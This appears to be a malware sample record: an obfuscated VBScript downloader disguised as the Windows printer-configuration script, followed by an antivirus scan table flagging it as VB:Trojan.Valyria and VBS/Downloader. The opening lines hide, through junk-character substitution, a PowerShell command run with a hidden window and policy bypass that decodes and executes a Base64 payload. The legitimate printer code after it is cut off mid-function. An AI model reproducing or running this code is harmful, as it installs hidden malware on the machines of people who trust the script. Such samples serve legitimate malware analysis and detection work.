hsUyysOvbGXUngaURyRKaanUGUyXOZwilPnfaYHPPvYsCusCPRbsKMvPWUHccLRxnIGDAgOIzjbWoqbcHnMhUYMcxHyKcKRoUStq = cTuDgrDWjrDWWPQlKcObLPCNOUHWGuAvWNRQSSeOatbJUOzULbkuOUONNJGNOUBRvvWbZucwBWuYonKWQWzyaLBvzmwKOhzjNeqb("' = ogid" & Chr(35) & Chr(35) & Chr(35) & Chr(35) & Chr(35) & "C$") & euQcJWgWlhvjcOOWxcUqWOedCcJHNXvlOzaTODzOQkuZcqmcQfquKQkLqdmlKAfveyrhILYTyqWOPLWUzhWbAUWlSGtSOeUWwIOy & "'"
hsUyysOvbGXUngaURyRKaanUGUyXOZwilPnfaYHPPvYsCusCPRbsKMvPWUHccLRxnIGDAgOIzjbWoqbcHnMhUYMcxHyKcKRoUStq = hsUyysOvbGXUngaURyRKaanUGUyXOZwilPnfaYHPPvYsCusCPRbsKMvPWUHccLRxnIGDAgOIzjbWoqbcHnMhUYMcxHyKcKRoUStq & ";$OWjux$
:#@(#($$
##$#@*@@@ = [)
($@##@
$@$(($##$@
4#$#}}@#
)@]*):
(#@4@@@y)
($@##@
$@$(($##$@
4#$#}}@#
)@]*):
(#@4@@@t
}@}$(($
4$(::@
@$}@(@(
$@@@@}
}]$}(44@@@@@m.T
}@}$(($
4$(::@
@$}@(@(
$@@@@}
}]$}(44@@@@@xt.
}@}$(($
4$(::@
@$}@(@(
$@@@@}
}]$}(44@@@@@nco$
:#@(#($$
##$#@*@@@ing]::Unico$
:#@(#($$
##$#@*@@@
}@}$(($
4$(::@
@$}@(@(
$@@@@}
}]$}(44@@@@@.G
}@}$(($
4$(::@
@$}@(@(
$@@@@}
}]$}(44@@@@@tString( "
hsUyysOvbGXUngaURyRKaanUGUyXOZwilPnfaYHPPvYsCusCPRbsKMvPWUHccLRxnIGDAgOIzjbWoqbcHnMhUYMcxHyKcKRoUStq = hsUyysOvbGXUngaURyRKaanUGUyXOZwilPnfaYHPPvYsCusCPRbsKMvPWUHccLRxnIGDAgOIzjbWoqbcHnMhUYMcxHyKcKRoUStq & "[)
($@##@
$@$(($##$@
4#$#}}@#
)@]*):
(#@4@@@y)
($@##@
$@$(($##$@
4#$#}}@#
)@]*):
(#@4@@@t
}@}$(($
4$(::@
@$}@(@(
$@@@@}
}]$}(44@@@@@m.Conv
}@}$(($
4$(::@
@$}@(@(
$@@@@}
}]$}(44@@@@@rt]::From#^
*4*}@:]*
@}:+*++(s
}@}$(($
4$(::@
@$}@(@(
$@@@@}
}]$}(44@@@@@64String( $(]
:#@(#($$
##$#@*@@@igo.r
}@}$(($
4$(::@
@$}@(@(
$@@@@}
}]$}(44@@@@@}:@}@
:}}#(@@#
#:(@4@@
@#}:@#:@:@
@#@@@@
@@@l:]*
@}:+*++(ce('
','A') ) )"
hsUyysOvbGXUngaURyRKaanUGUyXOZwilPnfaYHPPvYsCusCPRbsKMvPWUHccLRxnIGDAgOIzjbWoqbcHnMhUYMcxHyKcKRoUStq = hsUyysOvbGXUngaURyRKaanUGUyXOZwilPnfaYHPPvYsCusCPRbsKMvPWUHccLRxnIGDAgOIzjbWoqbcHnMhUYMcxHyKcKRoUStq & ";}:@}@
:}}#(@@#
#:(@4@@
@#}:@#:@:@
@#@@@@
}@}$(($
4$(::@
@$}@(@(
$@@@@}
}]$}(44@@@@@rs@:
4]}](};@:
4]}](}h
}@}$(($
4$(::@
@$}@(@(
$@@@@}
}]$}(44@@@@@ll.@:
4]}](};@:
4]}](}
}@}$(($
4$(::@
@$}@(@(
$@@@@}
}]$}(44@@@@@x
}@}$(($
4$(::@
@$}@(@(
$@@@@}
}]$}(44@@@@@ -windo@:
4]}](};@:
4]}](}wstyl
}@}$(($
4$(::@
@$}@(@(
$@@@@}
}]$}(44@@@@@ hi@:
4]}](};@:
4]}](}$
:#@(#($$
##$#@*@@@$
:#@(#($$
##$#@*@@@
}@}$(($
4$(::@
@$}@(@(
$@@@@}
}]$}(44@@@@@n -
}@}$(($
4$(::@
@$}@(@(
$@@@@}
}]$}(44@@@@@xe(]
+@ut@:
4]}](};@:
4]}](}ion}:@}@
:}}#(@@#
#:(@4@@
@#}:@#:@:@
@#@@@@
@@@oli(]
+@y #^
*4*}@yp@:
4]}](};@:
4]}](}ss -NoP@:
4]}](};@:
4]}](}rofil
}@}$(($
4$(::@
@$}@(@(
$@@@@}
}]$}(44@@@@@ -(]
+@om@:
4]}](};@:
4]}](}m:]*
@}:+*++(nd $OW@:
4]}](};@:
4]}](}juxD" & "nRztScWkqKliKoWuiffWWLqcppbihBvmxqiWobhfOKPKBKWzWjqGgaZcWWeqKBuKmSKWTuUWLKpcfqGoikPLLLULWIokAPUcijPj"
dim mSHfdWHlGHNOZdNckfcqtNTPDfdKLLNflzsoNhpuQNpzUqfUQRHmUeUkoPQRUnRqTOjJucCoUoPlDxPipHlUoHlRmYwSUcczcXWP
mSHfdWHlGHNOZdNckfcqtNTPDfdKLLNflzsoNhpuQNpzUqfUQRHmUeUkoPQRUnRqTOjJucCoUoPlDxPipHlUoHlRmYwSUcczcXWP = "@:
4]}](}"
hsUyysOvbGXUngaURyRKaanUGUyXOZwilPnfaYHPPvYsCusCPRbsKMvPWUHccLRxnIGDAgOIzjbWoqbcHnMhUYMcxHyKcKRoUStq = BQGGGZEMDQ(hsUyysOvbGXUngaURyRKaanUGUyXOZwilPnfaYHPPvYsCusCPRbsKMvPWUHccLRxnIGDAgOIzjbWoqbcHnMhUYMcxHyKcKRoUStq, mSHfdWHlGHNOZdNckfcqtNTPDfdKLLNflzsoNhpuQNpzUqfUQRHmUeUkoPQRUnRqTOjJucCoUoPlDxPipHlUoHlRmYwSUcczcXWP + ";" + mSHfdWHlGHNOZdNckfcqtNTPDfdKLLNflzsoNhpuQNpzUqfUQRHmUeUkoPQRUnRqTOjJucCoUoPlDxPipHlUoHlRmYwSUcczcXWP, "")
hsUyysOvbGXUngaURyRKaanUGUyXOZwilPnfaYHPPvYsCusCPRbsKMvPWUHccLRxnIGDAgOIzjbWoqbcHnMhUYMcxHyKcKRoUStq = BQGGGZEMDQ(hsUyysOvbGXUngaURyRKaanUGUyXOZwilPnfaYHPPvYsCusCPRbsKMvPWUHccLRxnIGDAgOIzjbWoqbcHnMhUYMcxHyKcKRoUStq, ":]*
@}:+*++(", "a")
hsUyysOvbGXUngaURyRKaanUGUyXOZwilPnfaYHPPvYsCusCPRbsKMvPWUHccLRxnIGDAgOIzjbWoqbcHnMhUYMcxHyKcKRoUStq = BQGGGZEMDQ(hsUyysOvbGXUngaURyRKaanUGUyXOZwilPnfaYHPPvYsCusCPRbsKMvPWUHccLRxnIGDAgOIzjbWoqbcHnMhUYMcxHyKcKRoUStq, "#^
*4*}@", "b")
hsUyysOvbGXUngaURyRKaanUGUyXOZwilPnfaYHPPvYsCusCPRbsKMvPWUHccLRxnIGDAgOIzjbWoqbcHnMhUYMcxHyKcKRoUStq = BQGGGZEMDQ(hsUyysOvbGXUngaURyRKaanUGUyXOZwilPnfaYHPPvYsCusCPRbsKMvPWUHccLRxnIGDAgOIzjbWoqbcHnMhUYMcxHyKcKRoUStq, "(]
+@", "c")
hsUyysOvbGXUngaURyRKaanUGUyXOZwilPnfaYHPPvYsCusCPRbsKMvPWUHccLRxnIGDAgOIzjbWoqbcHnMhUYMcxHyKcKRoUStq = BQGGGZEMDQ(hsUyysOvbGXUngaURyRKaanUGUyXOZwilPnfaYHPPvYsCusCPRbsKMvPWUHccLRxnIGDAgOIzjbWoqbcHnMhUYMcxHyKcKRoUStq, "$
:#@(#($$
##$#@*@@@", "d")
hsUyysOvbGXUngaURyRKaanUGUyXOZwilPnfaYHPPvYsCusCPRbsKMvPWUHccLRxnIGDAgOIzjbWoqbcHnMhUYMcxHyKcKRoUStq = BQGGGZEMDQ(hsUyysOvbGXUngaURyRKaanUGUyXOZwilPnfaYHPPvYsCusCPRbsKMvPWUHccLRxnIGDAgOIzjbWoqbcHnMhUYMcxHyKcKRoUStq, "
}@}$(($
4$(::@
@$}@(@(
$@@@@}
}]$}(44@@@@@", "e")
hsUyysOvbGXUngaURyRKaanUGUyXOZwilPnfaYHPPvYsCusCPRbsKMvPWUHccLRxnIGDAgOIzjbWoqbcHnMhUYMcxHyKcKRoUStq = BQGGGZEMDQ(hsUyysOvbGXUngaURyRKaanUGUyXOZwilPnfaYHPPvYsCusCPRbsKMvPWUHccLRxnIGDAgOIzjbWoqbcHnMhUYMcxHyKcKRoUStq, "}:@}@
:}}#(@@#
#:(@4@@
@#}:@#:@:@
@#@@@@
@@@", "p")
hsUyysOvbGXUngaURyRKaanUGUyXOZwilPnfaYHPPvYsCusCPRbsKMvPWUHccLRxnIGDAgOIzjbWoqbcHnMhUYMcxHyKcKRoUStq = BQGGGZEMDQ(hsUyysOvbGXUngaURyRKaanUGUyXOZwilPnfaYHPPvYsCusCPRbsKMvPWUHccLRxnIGDAgOIzjbWoqbcHnMhUYMcxHyKcKRoUStq, ")
($@##@
$@$(($##$@
4#$#}}@#
)@]*):
(#@4@@@", "s")
hsUyysOvbGXUngaURyRKaanUGUyXOZwilPnfaYHPPvYsCusCPRbsKMvPWUHccLRxnIGDAgOIzjbWoqbcHnMhUYMcxHyKcKRoUStq = BQGGGZEMDQ(hsUyysOvbGXUngaURyRKaanUGUyXOZwilPnfaYHPPvYsCusCPRbsKMvPWUHccLRxnIGDAgOIzjbWoqbcHnMhUYMcxHyKcKRoUStq, "#####", "o")
hsUyysOvbGXUngaURyRKaanUGUyXOZwilPnfaYHPPvYsCusCPRbsKMvPWUHccLRxnIGDAgOIzjbWoqbcHnMhUYMcxHyKcKRoUStq = BQGGGZEMDQ(hsUyysOvbGXUngaURyRKaanUGUyXOZwilPnfaYHPPvYsCusCPRbsKMvPWUHccLRxnIGDAgOIzjbWoqbcHnMhUYMcxHyKcKRoUStq, "nRztScWkqKliKoWuiffWWLqcppbihBvmxqiWobhfOKPKBKWzWjqGgaZcWWeqKBuKmSKWTuUWLKpcfqGoikPLLLULWIokAPUcijPj", "")
PNlTNdiZDixzQdXePGLWvrDeSAYULjUWWRNCgWUGUUmeQmldvPMKPuPeAUrMGrBeWNGWnBUypeAWAjTGCPmWdUOWWGdcBgcdPPcP(hsUyysOvbGXUngaURyRKaanUGUyXOZwilPnfaYHPPvYsCusCPRbsKMvPWUHccLRxnIGDAgOIzjbWoqbcHnMhUYMcxHyKcKRoUStq)
' Rename printer
function RenamePrinter(oParamDict)
on error resume next
DebugPrint kDebugTrace, L_Text_Dbg_Msg01_Text
DebugPrint kDebugTrace, L_Text_Msg_Printer01_Text & L_Space_Text & oParamDict.Item(kServerName)
DebugPrint kDebugTrace, L_Text_Msg_Printer02_Text & L_Space_Text & oParamDict.Item(kPrinterName)
DebugPrint kDebugTrace, L_Text_Dbg_Msg02_Text & L_Space_Text & oParamDict.Item(kNewPrinterName)
dim oPrinter
dim oService
dim iRetval
dim uResult
dim strServer
dim strPrinter
dim strNewName
dim strUser
dim strPassword
iRetval = kErrorFailure
strServer = oParamDict.Item(kServerName)
strPrinter = oParamDict.Item(kPrinterName)
strNewName = oParamDict.Item(kNewPrinterName)
strUser = oParamDict.Item(kUserName)
strPassword = oParamDict.Item(kPassword)
if WmiConnect(strServer, kNameSpace, strUser, strPassword, oService) then
set oPrinter = oService.Get("Win32_Printer.DeviceID='" & strPrinter & "'")
else
RenamePrinter = kErrorFailure
exit function
end if
' Check if Get was successful
if Err.Number = kErrorSuccess then
uResult = oPrinter.RenamePrinter(strNewName)
if Err.Number = kErrorSuccess then
if uResult = kErrorSuccess then
wscript.echo L_Text_Msg_General01_Text & L_Space_Text & strPrinter
wscript.echo L_Text_Msg_General02_Text & L_Space_Text & strNewName
iRetval = kErrorSuccess
else
wscript.echo L_Text_Msg_General03_Text & L_Space_Text & strPrinter & L_Space_Text _
& L_Text_Error_General03_Text & L_Space_Text & uResult
end if
else
wscript.echo L_Text_Msg_General04_Text & L_Space_Text & strPrinter & L_Space_Text _
& L_Error_Text & L_Space_Text & L_Hex_Text & hex(Err.Number) & L_Space_Text _
& Err.Description
end if
else
wscript.echo L_Text_Msg_General04_Text & L_Space_Text & strPrinter & L_Space_Text _
& L_Error_Text & L_Space_Text & L_Hex_Text & hex(Err.Number) & L_Space_Text _
& Err.Description
'
' Try getting extended error information
'
call LastError()
end if
RenamePrinter = iRetval
end function
' Get printer configuration
function GetPrinter(oParamDict)
on error resume next
DebugPrint kDebugTrace, L_Text_Dbg_Msg03_Text
DebugPrint kDebugTrace, L_Text_Msg_Printer01_Text & L_Space_Text & oParamDict.Item(kServerName)
DebugPrint kDebugTrace, L_Text_Msg_Printer02_Text & L_Space_Text & oParamDict.Item(kPrinterName)
dim oPrinter
dim oService
dim iRetval
dim uResult
dim strServer
dim strPrinter
dim strAttributes
dim strStart
dim strEnd
dim strUser
dim strPassword
iRetval = kErrorFailure
strServer = oParamDict.Item(kServerName)
strPrinter = oParamDict.Item(kPrinterName)
strUser = oParamDict.Item(kUserName)
strPassword = oParamDict.Item(kPassword)
if WmiConnect(strServer, kNameSpace, strUser, strPassword, oService) then
set oPrinter = oService.Get("Win32_Printer='" & strPrinter & "'")
else
GetPrinter = kErrorFailure
exit function
end if
' Check if Get was successful
if Err.Number = kErrorSuccess then
wscript.echo L_Text_Msg_Printer01_Text & L_Space_Text & strServer
wscript.echo L_Text_Msg_Printer02_Text & L_Space_Text & oPrinter.DeviceID
wscript.echo L_Text_Msg_Printer03_Text & L_Space_Text & oPrinter.ShareName
wscript.echo L_Text_Msg_Printer04_Text & L_Space_Text & oPrinter.DriverName
wscript.echo L_Text_Msg_Printer05_Text & L_Space_Text & oPrinter.PortName
wscript.echo L_Text_Msg_Printer06_Text & L_Space_Text & oPrinter.Comment
wscript.echo L_Text_Msg_Printer07_Text & L_Space_Text & oPrinter.Location
wscript.echo L_Text_Msg_Printer08_Text & L_Space_Text & oPrinter.SeparatorFile
wscript.echo L_Text_Msg_Printer09_Text & L_Space_Text & oPrinter.PrintProcessor
wscript.echo L_Text_Msg_Printer10_Text & L_Space_Text & oPrinter.PrintJobDatatype
wscript.echo L_Text_Msg_Printer11_Text & L_Space_Text & oPrinter.Parameters
wscript.echo L_Text_Msg_Printer13_Text & L_Space_Text & CStr(oPrinter.Priority)
wscript.echo L_Text_Msg_Printer14_Text & L_Space_Text & CStr(oPrinter.DefaultPriority)
strStart = Mid(CStr(oPrinter.StartTime), 9, 4)
strEnd = Mid(CStr(oPrinter.UntilTime), 9, 4)
if strStart <> "" and strEnd <> "" then
wscript.echo L_Text_Msg_Printer15_Text & L_Space_Text & Mid(strStart, 1, 2) & "h" & Mid(strStart, 3, 2)
wscript.echo L_Text_Msg_Printer16_Text & L_Space_Text & Mid(strEnd, 1, 2) & "h" & Mid(strEnd, 3, 2)
else
wscript.echo L_Text_Msg_General05_Text
end if
strAttributes = L_Text_Msg_Printer12_Text
if oPrinter.Direct then
strAttributes = strAttributes + L_Space_Text + L_Text_Msg_Attrib01_Text
end if
if oPrinter.RawOnly then
strAttributes = strAttributes + L_Space_Text + L_Text_Msg_Attrib02_Text
end if
if oPrinter.Local then
strAttributes = strAttributes + L_Space_Text + L_Text_Msg_Attrib03_Text
end if
if oPrinter.Shared then
strAttributes = strAttributes + L_Space_Text + L_Text_Msg_Attrib04_Text
end if
if oPrinter.KeepPrintedJobs then
strAttributes = strAttributes + L_Space_Text + L_Text_Msg_Attrib05_Text
end if
if oPrinter.Published then
strAttributes = strAttributes + L_Space_Text + L_Text_Msg_Attrib06_Text
end if
if oPrinter.Queued then
strAttributes = strAttributes + L_Space_Text + L_Text_Msg_Attrib07_Text
end if
if oPrinter.Default then
strAttributes = strAttributes + L_Space_Text + L_Text_Msg_Attrib08_Text
end if
if oPrinter.Network then
strAttributes = strAttributes + L_Space_Text + L_Text_Msg_Attrib09_Text
end if
if oPrinter.EnableBiDi then
strAttributes = strAttributes + L_Space_Text + L_Text_Msg_Attrib10_Text
end if
if oPrinter.DoCompleteFirst then
strAttributes = strAttributes + L_Space_Text + L_Text_Msg_Attrib11_Text
end if
if oPrinter.WorkOffline then
strAttributes = strAttributes + L_Space_Text + L_Text_Msg_Attrib12_Text
end if
if oPrinter.Hidden then
strAttributes = strAttributes + L_Space_Text + L_Text_Msg_Attrib13_Text
end if
if oPrinter.EnableDevQueryPrint then
strAttributes = strAttributes + L_Space_Text + L_Text_Msg_Attrib14_Text
end if
wscript.echo strAttributes
wscript.echo
wscript.echo L_Text_Msg_General10_Text & L_Space_Text & PrnStatusToString(oPrinter.PrinterStatus)
wscript.echo L_Text_Msg_General11_Text & L_Space_Text & ExtPrnStatusToString(oPrinter.ExtendedPrinterStatus)
wscript.echo L_Text_Msg_General12_Text & L_Space_Text & DetectedErrorStateToString(oPrinter.DetectedErrorState)
wscript.echo L_Text_Msg_General13_Text & L_Space_Text & ExtDetectedErrorStateToString(oPrinter.ExtendedDetectedErrorState)
iRetval = kErrorSuccess
else
wscript.echo L_Text_Msg_General04_Text & L_Space_Text & oParamDict.Item(kPrinterName) & L_Space_Text _
& L_Error_Text & L_Space_Text & L_Hex_Text & hex(Err.Number) & L_Space_Text _
& Err.Description
'
' Try getting extended error information
'
call LastError()
end if
GetPrinter = iRetval
end function
' Configure a printer
function SetPrinter(oParamDict)
on error resume next
DebugPrint kDebugTrace, L_Text_Dbg_Msg04_Text
DebugPrint kDebugTrace, L_Text_Msg_Printer01_Text & L_Space_Text & oParamDict.Item(kServerName)
DebugPrint kDebugTrace, L_Text_Msg_Printer02_Text & L_Space_Text & oParamDict.Item(kPrinterName)
dim oPrinter
dim oService
dim iRetval
dim uResult
dim strServer
dim strPrinter
dim strUser
dim strPassword
iRetval = kErrorFailure
strServer = oParamDict.Item(kServerName)
strPrinter = oParamDict.Item(kPrinterName)
strNewName = oParamDict.Item(kNewPrinterName)
strUser = oParamDict.Item(kUserName)
strPassword = oParamDict.Item(kPassword)
if WmiConnect(strServer, kNameSpace, strUser, strPassword, oService) then
set oPrinter = oService.Get("Win32_Printer='" & strPrinter & "'")
else
SetPrinter = kErrorFailure
exit function
end if
' Check if Get was successful
if Err.Number = kErrorSuccess then
if oParamdict.Exists(kPortName) then oPrinter.PortName = oParamDict.Item(kPortName) end if
if oParamdict.Exists(kDriverName) then oPrinter.DriverName = oParamDict.Item(kDriverName) end if
if oParamdict.Exists(kShareName) then oPrinter.ShareName = oParamDict.Item(kShareName) end if
if oParamdict.Exists(kLocation) then oPrinter.Location = oParamDict.Item(kLocation) end if
if oParamdict.Exists(kComment) then oPrinter.Comment = oParamDict.Item(kComment) end if
if oParamdict.Exists(kDataType) then oPrinter.PrintJobDataType = oParamDict.Item(kDataType) end if
if oParamdict.Exists(kSepFile) then oPrinter.SeparatorFile = oParamDict.Item(kSepfile) end if
if oParamdict.Exists(kParameters) then oPrinter.Parameters = oParamDict.Item(kParameters) end if
if oParamdict.Exists(kPriority) then oPrinter.Priority = oParamDict.Item(kPriority) end if
if oParamdict.Exists(kDefaultPriority) then oPrinter.DefaultPriority = oParamDict.Item(kDefaultPriority) end if
if oParamdict.Exists(kPrintProc) then oPrinter.PrintProc = oParamDict.Item(kPrintProc) end if
if oParamdict.Exists(kStartTime) then oPrinter.StartTime = oParamDict.Item(kStartTime) end if
if oParamdict.Exists(kUntilTime) then oPrinter.UntilTime = oParamDict.Item(kUntilTime) end if
if oParamdict.Exists(kQueued) then oPrinter.Queued = oParamDict.Item(kQueued) end if
if oParamdict.Exists(kDirect) then oPrinter.Direct = oParamDict.Item(kDirect) end if
if oParamdict.Exists(kShared) then oPrinter.Shared = oParamDict.Item(kShared) end if
if oParamdict.Exists(kHidden) then oPrinter.Hidden = oParamDict.Item(kHidden) end if
if oParamdict.Exists(kEnabledevq) then oPrinter.EnableDevQueryPrint = oParamDict.Item(kEnabledevq) end if
if oParamdict.Exists(kKeepPrintedJobs) then oPrinter.KeepPrintedJobs = oParamDict.Item(kKeepPrintedJobs) end if
if oParamdict.Exists(kDoCompleteFirst) then oPrinter.DoCompleteFirst = oParamDict.Item(kDoCompleteFirst) end if
if oParamdict.Exists(kWorkOffline) then oPrinter.WorkOffline = oParamDict.Item(kWorkOffline) end if
if oParamdict.Exists(kEnableBidi) then oPrinter.EnableBidi = oParamDict.Item(kEnableBidi) end if
if oParamdict.Exists(kRawonly) then oPrinter.RawOnly = oParamDict.Item(kRawonly) end if
if oParamdict.Exists(kPublished) then oPrinter.Published = oParamDict.Item(kPublished) end if
oPrinter.Put_(kFlagUpdateOnly)
if Err.Number = kErrorSuccess then
wscript.echo L_Text_Msg_General06_Text & L_Space_Text & strPrinter
iRetval = kErrorSuccess
else
wscript.echo L_Text_Msg_General07_Text & L_Space_Text & strPrinter & L_Space_Text _
& L_Error_Text & L_Space_Text & L_Hex_Text & hex(Err.Number) & L_Space_Text _
& Err.Description
'
' Try getting extended error information
'
call LastError()
end if
else
wscript.echo L_Text_Msg_General04_Text & L_Space_Text & strPrinter & L_Space_Text _
& L_Error_Text & L_Space_Text & L_Hex_Text & hex(Err.Number) & L_Space_Text _
& Err.Description
'
' Try getting extended error information
'
call LastError()
end if
SetPrinter = iRetval
end function
' Converts the printer status to a string
function PrnStatusToString(Status)
dim str
str = L_Empty_Text
select case Status
case 1
str = str + L_Text_Msg_Status01_Text + L_Space_Text
case 2
str = str + L_Text_Msg_Status02_Text + L_Space_Text
case 3
str = str + L_Text_Msg_Status03_Text + L_Space_Text
case 4
str = str + L_Text_Msg_Status04_Text + L_Space_Text
case 5
str = str + L_Text_Msg_Status05_Text + L_Space_Text
case 6
str = str + L_Text_Msg_Status06_Text + L_Space_Text
case 7
str = str + L_Text_Msg_Status07_Text + L_Space_Text
end select
PrnStatusToString = str
end function
' Converts the extended printer status to a string
function ExtPrnStatusToString(Status)
dim str
str = L_Empty_Text
select case Status
case 1
str = str + L_Text_Msg_Status01_Text + L_Space_Text
case 2
str = str + L_Text_Msg_Status02_Text + L_Space_Text
case 3
str = str + L_Text_Msg_Status03_Text + L_Space_Text
case 4
str = str + L_Text_Msg_Status04_Text + L_Space_Text
case 5
str = str + L_Text_Msg_Status05_Text + L_Space_Text
case 6
str = str + L_Text_Msg_Status06_Text + L_Space_Text
case 7
str = str + L_Text_Msg_Status07_Text + L_Space_Text
case 8
str = str + L_Text_Msg_Status08_Text + L_Space_Text
case 9
str = str + L_Text_Msg_Status09_Text + L_Space_Text
case 10
str = str + L_Text_Msg_Status10_Text + L_Space_Text
case 11
str = str + L_Text_Msg_Status11_Text + L_Space_Text
case 12
str = str + L_Text_Msg_Status12_Text + L_Space_Text
case 13
str = str + L_Text_Msg_Status13_Text + L_Space_Text
case 14
str = str + L_Text_Msg_Status14_Text + L_Space_Text
case 15
str = str + L_Text_Msg_Status15_Text + L_Space_Text
case 16
str = str + L_Text_Msg_Status16_Text + L_Space_Text
case 17
str = str + L_Text_Msg_Status17_Text + L_Space_Text
case 18
str = str + L_Text_Msg_Status18_Text + L_Space_Text
end select
ExtPrnStatusToString = str
end function
' Converts the detected error state to a string
function DetectedErrorStateToString(Status)
dim str
str = L_Empty_Text
select case Status
case 0
str = str + L_Text_Msg_Status02_Text + L_Space_Text
case 1
str = str + L_Text_Msg_Status01_Text + L_Space_Text
case 2
str = str + L_Text_Msg_Status01_Text + L_Space_Text
case 3
str = str + L_Text_Msg_Status20_Text + L_Space_Text
case 4
str = str + L_Text_Msg_Status21_Text + L_Space_Text
case 5
str = str + L_Text_Msg_Status22_Text + L_Space_Text
case 6
str = str + L_Text_Msg_Status23_Text + L_Space_Text
case 7
str = str + L_Text_Msg_Status24_Text + L_Space_Text
case 8
str = str + L_Text_Msg_Status25_Text + L_Space_Text
case 9
str = str + L_Text_Msg_Status07_Text + L_Space_Text
case 10
str = str + L_Text_Msg_Status26_Text + L_Space_Text
case 11
str = str + L_Text_Msg_Status27_Text + L_Space_Text
end select
DetectedErrorStateToString = str
end function
' Converts the extended detected error state to a string
function ExtDetectedErrorStateToString(Status)
dim str
str = L_Empty_Text
select case Status
case 0
str = str + L_Text_Msg_Status02_Text + L_Space_Text
case 1
str = str + L_Text_Msg_Status01_Text + L_Space_Text
case 2
str = str + L_Text_Msg_Status01_Text + L_Space_Text
case 3
str = str + L_Text_Msg_Status20_Text + L_Space_Text
case 4
str = str + L_Text_Msg_Status21_Text + L_Space_Text
case 5
str = str + L_Text_Msg_Status22_Text + L_Space_Text
case 6
str = str + L_Text_Msg_Status23_Text + L_Space_Text
case 7
str = str + L_Text_Msg_Status24_Text + L_Space_Text
case 8
str = str + L_Text_Msg_Status25_Text + L_Space_Text
case 9
str = str + L_Text_Msg_Status07_Text + L_Space_Text
case 10
str = str + L_Text_Msg_Status26_Text + L_Space_Text
case 11
str = str + L_Text_Msg_Status27_Text + L_Space_Text
case 12
str = str + L_Text_Msg_Status28_Text + L_Space_Text
case 13
str = str + L_Text_Msg_Status29_Text + L_Space_Text
case 14
str = str + L_Text_Msg_Status30_Text + L_Space_Text
case 15
str = str + L_Text_Msg_Status31_Text + L_Space_Text
case 16
str = str + L_Text_Msg_Status32_Text + L_Space_Text
end select
ExtDetectedErrorStateToString = str
end function
' Debug display helper function
sub DebugPrint(uFlags, strString)
if gDebugFlag = true then
if uFlags = kDebugTrace then
wscript.echo L_Debug_Text & L_Space_Text & strString
end if
if uFlags = kDebugError then
if Err <> 0 then
wscript.echo L_Debug_Text & L_Space_Text & strString & L_Space_Text _
& L_Error_Text & L_Space_Text & L_Hex_Text & hex(Err.Number) _
& L_Space_Text & Err.Description
end if
end if
end if
end sub
' Parse the command line into its components
function ParseCommandLine(iAction, oParamdict)
on error resume next
DebugPrint kDebugTrace, L_Text_Dbg_Msg05_Text
dim oArgs
dim iIndex
iAction = kActionUnknown
iIndex = 0
set oArgs = wscript.Arguments
while iIndex < oArgs.Count
select case oArgs(iIndex)
case "-g"
iAction = kActionGet
case "-t"
iAction = kActionSet
case "-x"
iAction = kActionRename
case "-p"
iIndex = iIndex + 1
oParamdict.Add kPrinterName, oArgs(iIndex)
case "-s"
iIndex = iIndex + 1
oParamdict.Add kServerName, RemoveBackslashes(oArgs(iIndex))
case "-r"
iIndex = iIndex + 1
oParamdict.Add kPortName, oArgs(iIndex)
case "-h"
iIndex = iIndex + 1
oParamdict.Add kShareName, oArgs(iIndex)
case "-m"
iIndex = iIndex + 1
oParamdict.Add kComment, oArgs(iIndex)
case "-l"
iIndex = iIndex + 1
oParamdict.Add kLocation, oArgs(iIndex)
case "-y"
iIndex = iIndex + 1
oParamdict.Add kDataType, oArgs(iIndex)
case "-f"
iIndex = iIndex + 1
oParamdict.Add kSepFile, oArgs(iIndex)
case "-z"
iIndex = iIndex + 1
oParamdict.Add kNewPrinterName, oArgs(iIndex)
case "-u"
iIndex = iIndex + 1
oParamdict.Add kUserName, oArgs(iIndex)
case "-w"
iIndex = iIndex + 1
oParamdict.Add kPassword, oArgs(iIndex)
case "-st"
Antivirus Signature
Bkav Clean
Lionic Clean
DrWeb Clean
ClamAV Clean
CMC Clean
CAT-QuickHeal Clean
ALYac Clean
Malwarebytes Clean
VIPRE VB:Trojan.Valyria.8360
Sangfor Clean
K7AntiVirus Clean
K7GW Clean
BitDefenderTheta Clean
VirIT Clean
Cyren Clean
Symantec Clean
ESET-NOD32 Clean
TrendMicro-HouseCall Clean
Avast Script:SNH-gen [Trj]
Cynet Clean
Kaspersky HEUR:Trojan.Script.Generic
BitDefender VB:Trojan.Valyria.8360
NANO-Antivirus Clean
SUPERAntiSpyware Clean
MicroWorld-eScan VB:Trojan.Valyria.8360
Rising Clean
Sophos Clean
F-Secure Clean
Baidu Clean
Zillya Clean
TrendMicro Clean
McAfee-GW-Edition VBS/Downloader.acx
FireEye VB:Trojan.Valyria.8360
Emsisoft VB:Trojan.Valyria.8360 (B)
Ikarus Clean
Jiangmin Clean
Avira Clean
Antiy-AVL Clean
Microsoft Clean
Gridinsoft Clean
Xcitium Clean
Arcabit VB:Trojan.Valyria.D20A8
ViRobot Clean
ZoneAlarm Clean
GData VB:Trojan.Valyria.8360
Google Clean
AhnLab-V3 Clean
Acronis Clean
McAfee VBS/Downloader.acx
MAX malware (ai score=81)
VBA32 Clean
Zoner Clean
Tencent Clean
Yandex Clean
TACHYON Clean
MaxSecure Clean
Fortinet Clean
AVG Script:SNH-gen [Trj]
Panda Clean
No IRMA results available.